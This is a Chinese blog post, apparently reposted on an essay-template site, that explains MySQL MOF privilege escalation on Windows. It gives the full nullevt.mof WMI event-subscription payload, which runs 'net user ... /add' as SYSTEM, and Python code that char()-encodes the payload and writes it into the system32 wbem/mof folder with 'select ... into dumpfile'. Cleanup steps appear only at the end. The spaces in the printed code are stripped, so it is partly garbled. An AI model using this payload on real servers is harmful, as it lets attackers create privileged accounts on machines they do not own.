900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > mysql mof_关于mysql mof提权研究

mysql mof_关于mysql mof提权研究

时间:2023-03-20 06:51:57

相关推荐

mysql mof_关于mysql mof提权研究

无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。

利用前提:操作系统为windows

操作系统版本不宜太高,测试不通过,可(因为需要访问到system32中目录)或说mysql启动身份具有权限去访问和写入c:/windows/system32/mof目录

数据库为mysql且知道mysql登录账号密码和允许外连(或存在sql注入或webshell中操作,未实践)

先简单介绍一下原理(摘自网上和个人实践后得出)

放置在c:/windows/system32/mof目录下的nullevt.mof文件每个五秒钟会被自动执行并且消失,如果后续没有创建新的该文件,那么每五秒会循环执行之前的nullevt.mof中内容,那么只需要将恶意代码写入该文件中即可。

网上已公开nullevt.mof中的利用代码#pragmanamespace(“\\\\.\\root\\subscription”)

instanceof__EventFilteras$EventFilter

{

EventNamespace=“Root\\Cimv2”;

Name=“filtP2”;

Query=“Select*From__InstanceModificationEvent“

“WhereTargetInstanceIsa\”Win32_LocalTime\”“

“AndTargetInstance.Second=5”;

QueryLanguage=“WQL”;

};

instanceofActiveScriptEventConsumeras$Consumer

{

Name=“consPCSV2”;

ScriptingEngine=“JScript”;

ScriptText=

“varWSH=newActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exeuserxxxxxx/add\”)“;

};

instanceof__FilterToConsumerBinding

{

Consumer=$Consumer;

Filter=$EventFilter;

};

常规利用过程步骤如下:上传该文件到服务器上任意位置,名字任意

通过mysql语句 select load_file(上传的文件路径) into dumpfile 'c:/windows/system32/mof/nullevt.mof'

即可,如果成功上传,经过一段时间后,里面嵌入的代码会被执行

个人觉得要上传文件显得过于麻烦,能不能直接select 'xxxxx' into,经过尝试,要将该内容进行转码后再查询即可,提供部分py代码作为演示

使用mysql中char函数解决payload=r'''

#pragmanamespace("\\\\.\\root\\subscription")

instanceof__EventFilteras$EventFilter

{

EventNamespace="Root\\Cimv2";

Name="filtP2";

Query="Select*From__InstanceModificationEvent"

"WhereTargetInstanceIsa\"Win32_LocalTime\""

"AndTargetInstance.Second=5";

QueryLanguage="WQL";

};

instanceofActiveScriptEventConsumeras$Consumer

{

Name="consPCSV2";

ScriptingEngine="JScript";

ScriptText=

"varWSH=newActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exeuserxxxxxxx/add\")";

};

instanceof__FilterToConsumerBinding

{

Consumer=$Consumer;

Filter=$EventFilter;

};

'''

ascii_payload=''

foreach_chrinpayload:

ascii_payload+=str(ord(each_chr))+','

ascii_payload=ascii_payload[:-1]

cur=conn.cursor()

sql="selectchar(%s)intodumpfile'c:/windows/system32/wbem/mof/nullevt.mof'"%ascii_payload

cur.execute(sql)

由于mof是由system执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。

如果服务器发现被使用mof提权,该如何解决循环创建用户?

打开cmd使用以下命令

net stop winmgmt

删除文件夹下内容 c:/windows/system32/wbem/repository

net start winmgmt

即可

错误之处,敬请指正

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。